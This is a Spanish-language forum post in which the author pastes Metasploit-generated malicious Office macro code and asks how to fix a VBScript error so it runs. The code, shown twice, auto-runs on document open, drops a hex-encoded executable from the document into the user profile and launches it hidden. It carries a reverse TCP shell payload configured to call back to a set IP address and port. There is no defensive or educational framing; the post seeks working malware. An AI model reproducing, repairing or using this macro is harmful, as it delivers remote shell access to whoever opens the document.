Windows Script Host
Secuencia de comandos: C: ubicacion del payload
Linea: 24
Caracter: 13
Error: Expected end of statement
Codigo: 800A0401
Origen: Microsoft VBScript compilation error
El codigo fuente del vbs es este:
Citar
'Created by msfpayload (http://www.metasploit.com).
'Payload: windows/shell/reverse_tcp
' Length: 290
'Options: {"LHOST"=>"197.186.55.5", "LPORT"=>"4441"}
'**************************************************************
'*
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
Sub Auto_Open()
Iobcf12
End Sub
Sub Iobcf12()
Dim Iobcf7 As Integer
Dim Iobcf1 As String
Dim Iobcf2 As String
Dim Iobcf3 As Integer
Dim Iobcf4 As Paragraph
Dim Iobcf8 As Integer
Dim Iobcf9 As Boolean
Dim Iobcf5 As Integer
Dim Iobcf11 As String
Dim Iobcf6 As Byte
Dim Kijfmicoeo as String
Kijfmicoeo = "Kijfmicoeo"
Iobcf1 = "URqWyDZMrNhdF.exe"
Iobcf2 = Environ("USERPROFILE")
ChDrive (Iobcf2)
ChDir (Iobcf2)
Iobcf3 = FreeFile()
Open Iobcf1 For Binary As Iobcf3
For Each Iobcf4 in ActiveDocument.Paragraphs
DoEvents
Iobcf11 = Iobcf4.Range.Text
If (Iobcf9 = True) Then
Iobcf8 = 1
While (Iobcf8 < Len(Iobcf11))
Iobcf6 = Mid(Iobcf11,Iobcf8,4)
Put #Iobcf3, , Iobcf6
Iobcf8 = Iobcf8 + 4
Wend
ElseIf (InStr(1,Iobcf11,Kijfmicoeo) > 0 And Len(Iobcf11) > 0) Then
Iobcf9 = True
End If
Next
Close #Iobcf3
Iobcf13(Iobcf1)
End Sub
Sub Iobcf13(Iobcf10 As String)
Dim Iobcf7 As Integer
Dim Iobcf2 As String
Iobcf2 = Environ("USERPROFILE")
ChDrive (Iobcf2)
ChDir (Iobcf2)
Iobcf7 = Shell(Iobcf10, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
Kijfmicoeo
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HE8&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H93&H38&HF0&HD6&HD7&H59&H9E&H85&HD7&H59&H9E&H85&HD7&H59&H9E&H85&HAC&H45&H92&H85&HD3&H59&H9E&H85&H54&H45&H90&H85&HDE&H59&H9E&H85&HB8&H46&H94&H85&HDC&H59&H9E&H85&HB8&H46&H9A&H85&HD4&H59&H9E&H85&HD7&H59&H9F&H85&H1E&H59&H9E&H85&H54&H51&HC3&H85&HDF&H59&H9E&H85&H83&H7A&HAE&H85&HFF&H59&H9E&H85&H10&H5F&H98&H85&HD6&H59&H9E&H85&H52&H69&H63&H68&HD7
'Payload: windows/shell/reverse_tcp
' Length: 290
'Options: {"LHOST"=>"197.186.55.5", "LPORT"=>"4441"}
'**************************************************************
'*
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
Sub Auto_Open()
Iobcf12
End Sub
Sub Iobcf12()
Dim Iobcf7 As Integer
Dim Iobcf1 As String
Dim Iobcf2 As String
Dim Iobcf3 As Integer
Dim Iobcf4 As Paragraph
Dim Iobcf8 As Integer
Dim Iobcf9 As Boolean
Dim Iobcf5 As Integer
Dim Iobcf11 As String
Dim Iobcf6 As Byte
Dim Kijfmicoeo as String
Kijfmicoeo = "Kijfmicoeo"
Iobcf1 = "URqWyDZMrNhdF.exe"
Iobcf2 = Environ("USERPROFILE")
ChDrive (Iobcf2)
ChDir (Iobcf2)
Iobcf3 = FreeFile()
Open Iobcf1 For Binary As Iobcf3
For Each Iobcf4 in ActiveDocument.Paragraphs
DoEvents
Iobcf11 = Iobcf4.Range.Text
If (Iobcf9 = True) Then
Iobcf8 = 1
While (Iobcf8 < Len(Iobcf11))
Iobcf6 = Mid(Iobcf11,Iobcf8,4)
Put #Iobcf3, , Iobcf6
Iobcf8 = Iobcf8 + 4
Wend
ElseIf (InStr(1,Iobcf11,Kijfmicoeo) > 0 And Len(Iobcf11) > 0) Then
Iobcf9 = True
End If
Next
Close #Iobcf3
Iobcf13(Iobcf1)
End Sub
Sub Iobcf13(Iobcf10 As String)
Dim Iobcf7 As Integer
Dim Iobcf2 As String
Iobcf2 = Environ("USERPROFILE")
ChDrive (Iobcf2)
ChDir (Iobcf2)
Iobcf7 = Shell(Iobcf10, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
Kijfmicoeo
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&HE8&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H93&H38&HF0&HD6&HD7&H59&H9E&H85&HD7&H59&H9E&H85&HD7&H59&H9E&H85&HAC&H45&H92&H85&HD3&H59&H9E&H85&H54&H45&H90&H85&HDE&H59&H9E&H85&HB8&H46&H94&H85&HDC&H59&H9E&H85&HB8&H46&H9A&H85&HD4&H59&H9E&H85&HD7&H59&H9F&H85&H1E&H59&H9E&H85&H54&H51&HC3&H85&HDF&H59&H9E&H85&H83&H7A&HAE&H85&HFF&H59&H9E&H85&H10&H5F&H98&H85&HD6&H59&H9E&H85&H52&H69&H63&H68&HD7
Intente borrando el texto, que aparece en arteriscos y la codificación que aparece al final
Recopile el código en codeblock, para ver cuál era la línea de código del error, solo logre ver que la línea 24 queda, donde aparece el texto en arteriscos al final pero no se cual es el carácter 13
Que parte del código debo modificar para que funcione?